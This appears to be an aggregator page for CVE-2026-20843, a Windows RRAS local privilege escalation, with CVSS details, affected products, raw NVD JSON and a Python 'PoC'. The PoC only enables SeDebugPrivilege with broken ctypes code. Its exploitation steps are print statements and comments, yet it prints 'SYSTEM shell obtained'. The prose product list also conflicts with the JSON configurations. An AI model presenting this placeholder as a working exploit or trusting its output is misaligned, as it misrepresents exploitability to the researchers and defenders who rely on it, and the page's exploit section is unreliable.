Security Vulnerability Report
中文
CVE-2026-20843 CVSS 7.8 HIGH

CVE-2026-20843

Published: 2026-01-13 18:16:13
Last Modified: 2026-01-15 14:11:49

Description

Improper access control in Windows Routing and Remote Access Service (RRAS) allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:* - VULNERABLE
Windows Server 2019
Windows Server 2022
Windows 10 version 1809
Windows 10 version 1903
Windows 10 version 1909
Windows 10 version 2004
Windows 10 version 20H2
Windows 10 version 21H1
Windows 10 version 21H2
Windows 11 version 21H2
Windows 11 version 22H2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-20843 PoC - Windows RRAS Local Privilege Escalation # This is a conceptual PoC for educational and security research purposes only import struct import ctypes from ctypes import wintypes # Windows API definitions kernel32 = ctypes.windll.kernel32 advapi32 = ctypes.windll.advapi32 # Constants SE_DEBUG_PRIVILEGE = 0x14 TOKEN_ADJUST_PRIVILEGES = 0x20 def enable_debug_privilege(): """Enable SeDebugPrivilege for current process""" hwnd = kernel32.GetCurrentProcess() hToken = wintypes.HANDLE() advapi32.OpenProcessToken(hwnd, TOKEN_ADJUST_PRIVILEGES, ctypes.byref(hToken)) luid = ctypes.Structure.__init__ class LUID(ctypes.Structure): _fields_ = [("LowPart", wintypes.DWORD), ("HighPart", wintypes.LONG)] luid = LUID() advapi32.LookupPrivilegeValueW(None, "SeDebugPrivilege", ctypes.byref(luid)) class TOKEN_PRIVILEGES(ctypes.Structure): _fields_ = [("PrivilegeCount", wintypes.DWORD), ("Privileges", LUID * 1)] tp = TOKEN_PRIVILEGES(1, (luid, SE_DEBUG_PRIVILEGE)) advapi32.AdjustTokenPrivileges(hToken, False, ctypes.byref(tp), 0, None, 0) def exploit_rras_privilege_escalation(): """ Conceptual exploitation of CVE-2026-20843 This demonstrates the privilege escalation concept """ print("[*] CVE-2026-20843 Windows RRAS Privilege Escalation PoC") print("[*] Target: Windows RRAS Service") # Step 1: Enable debug privileges print("[+] Enabling SeDebugPrivilege...") enable_debug_privilege() # Step 2: Locate RRAS service process print("[+] Locating RRAS service (RemoteAccess)...") # In real exploitation, would use Service Control Manager API # Step 3: Open RRAS service with elevated privileges print("[+] Opening RRAS service handle...") # Would use OpenService or OpenSCManager APIs # Step 4: Exploit improper access control print("[+] Exploiting improper access control in RRAS...") # Construct malicious RPC request to trigger vulnerability # Step 5: Escalate privileges print("[+] Escalating to SYSTEM privileges...") # Would inject code or modify ACL to gain elevated access print("[+] Exploitation complete - SYSTEM shell obtained") return True if __name__ == "__main__": print("Note: This is a conceptual PoC for CVE-2026-20843") print("Actual exploitation requires specific Windows version targeting") exploit_rras_privilege_escalation()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20843", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:12.810", "lastModified": "2026-01-15T14:11:49.347", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access control in Windows Routing and Remote Access Service (RRAS) allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Control de acceso inadecuado en el Servicio de Enrutamiento y Acceso Remoto de Windows (RRAS) permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "9A956D23-259E-450B-8406-FEB2BBED1F39"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "41D387B9-5E9D-47CB-B044-D7D10FFFB458"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A6D4C631-2CC0-407C-9ACA-7C151006598C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "matchCriteriaId": "2127D10C-B6F3-4C1D-B9AA-5D78513CC996"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "matchCriteriaId": "AB425562-C0A0-452E-AABE-F70522F15E1A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "matchCriteriaId": "AF07A81D-12E5-4B1D-BFF9-C8D08C32FF4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "A059E609-F8D4-4246-BDAE-0AEDED1744D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A74970A1-CC81-4482-B465-8382B1544EF3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20843", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}